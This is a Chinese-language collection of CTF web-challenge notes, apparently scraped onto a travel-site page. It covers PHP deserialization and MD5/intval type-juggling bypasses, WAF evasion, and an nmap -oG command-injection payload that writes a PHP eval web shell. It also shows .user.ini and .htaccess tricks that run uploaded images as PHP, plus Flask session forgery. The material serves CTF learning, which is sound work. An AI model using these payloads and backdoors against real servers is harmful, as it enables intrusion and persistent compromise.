搜索
您的当前位置:首页正文

CTF中一些绕过

来源:欧得旅游网

PHP

主要体现在序列化中;

php中的类会有构造函数和析构函数,也还有内置的一些其他语言没有的函数:

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    // 构造函数,声明对象时触发
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

	//反序列化时触发
    function __wakeup(){
        $this->username = 'guest';
    }

	// 析构函数,对象销毁时触发
    function __destruct(){
        
    }

	// 对象序列化时触发
	function __sleep() {
	
	}
}
?>

序列化还有一些特点:

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

但这些事不可打印字符,所以直接echo复制拿不到;可以转义一下比如 urlencode ;

以及在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;s:3:“100”;}
就可以改成
O:4:“Name”:3:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;s:3:“100”;}
以绕过__wakeup

注意到,其实完成的序列化字符串是这样的:
O:4:“Name”:2:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";s:3:“100”;}

md5和弱类型
$a != $b && md5($a) == md5($b)

a=aabg7XSs
b=aabC9RqS

MD5:
0e087386482136013740957780965295 = 0e041022518165728065344349536299

$a != $b && md5($a) === md5($b)

a,b传入数组:
a[]=1&b[]=2

这样md5函数会报错返回NULL,但两个返回的NULL是一样的,所以可以绕过

(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])

强等且转字符串情况:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
if(strpos($str1,$str2) == false) {
}

当str1在str2开头,strpos返回0,等于false,绕过

如果要求自己的MD5值和自己相等,可以利用科学计数法的溢出:
0e215962017
md5值:0e291242476940776845150308577824
0e2159620
md5值:0e2159620
脚本:

def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m = md5(text)
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                print('find it:',text,":",m)
                break
        i +=1

run()
intval

intval获取变量的整数数值

if(intval($num) < 2020 && intval($num + 1) > 2021){

该函数无法正确处理十六进制,但如果强转类型就可以正常计算了;所以直接传一个0x2000。
且该函数在用科学计数法的时候,只会保留前面的数值,所以可以传 1e10

intval(req[“number”])=intval(strrev(req[“number”])=intval(strrev(req[“number”])=intval(strrev(req[“number”]))
如果要求不是回文,但又要满足这个条件,
Intval最大的值取决于操作系统。
32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。
32位系统上, intval(‘1000000000000’) 会返回 2147483647。
64 位系统上,最大带符号的 integer 值是 9223372036854775807。

所以如果参数为2147483647,那么当它反过来(就是字面意思),由于超出了限制,所以依然等于2147483647,即为回文。

也可以
可以用科学计数法构造0=0:
number=0e-0%00

特殊函数

preg_replace /e 模式下的代码执行问题,其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析,当中的坑非常多。

函数执行
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
scandir() 函数返回指定目录中的文件和目录的数组。

题目的过滤:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

但其实题目可能还有自己的waf,比如干脆不让你传字母;
此时啥命令执行都没法了;

但php的参数解析有过滤无效字符的特点:

所以绕过不能传字母的waf:
在问号后面加个空格;

所以var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))查看文件获取flag;
此时传入的参数是 /f1agg ;需要加/表示位置

RCE 特殊漏洞利用

题目:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg和escapeshellcmd一切用会出现漏洞,看着晕乎乎的…

最后的payload:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

-og 是nmap把内容写进文件中的参数

也可以直接用一句话php解决:

?host=' <?php echo `cat /flag`;?> -oG shell12.php '

HTTP

一般涉及请求伪造;

常见的请求头及作用如下:

  • Referer:表示从哪里来的,上一个站点是啥
  • X-Forwarded-For: 简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP。
  • User-Agent:伪造浏览器
  • Origin:表示来自哪个站点

ContentType = “application/x-www-form-urlencoded”;
这里的application/x-www-form-urlencoded:是一种编码格式,窗体数据被编码为名称/值对,是标准的编码格式。
当action为get时候,浏览器用x-www-form-urlencoded的编码方式把form数据转换成一个字串(name1=value1&name2=value2…),然后把这个字串append到url后面,用?分割,加载这个新的url。 当action为post时候,浏览器把form数据封装到http body中,然后发送到server。

文件上传的过滤

很多时候上传文件,只能上传图片,但即便上传了图片马,也无法连接;

所以可以使用phtml格式,上传成功【还有这些php,php3,php4,php5,phtml.pht】


.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

这样我们上传的图片文件就可以用菜刀连接了;

首先写好.user.ini并加上图片头,上传成功;

.htaccess

.htaccess文件可以把其他类型文件解析成php,比如:

AddType application/x-httpd-php .jpg

就是把jpg文件解析成php;

Flask

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

简而言之,flask的session可以解密,以获取信息,也可以对其进行伪造;


因篇幅问题不能全部显示,请点此查看更多更全内容

热门图文

Top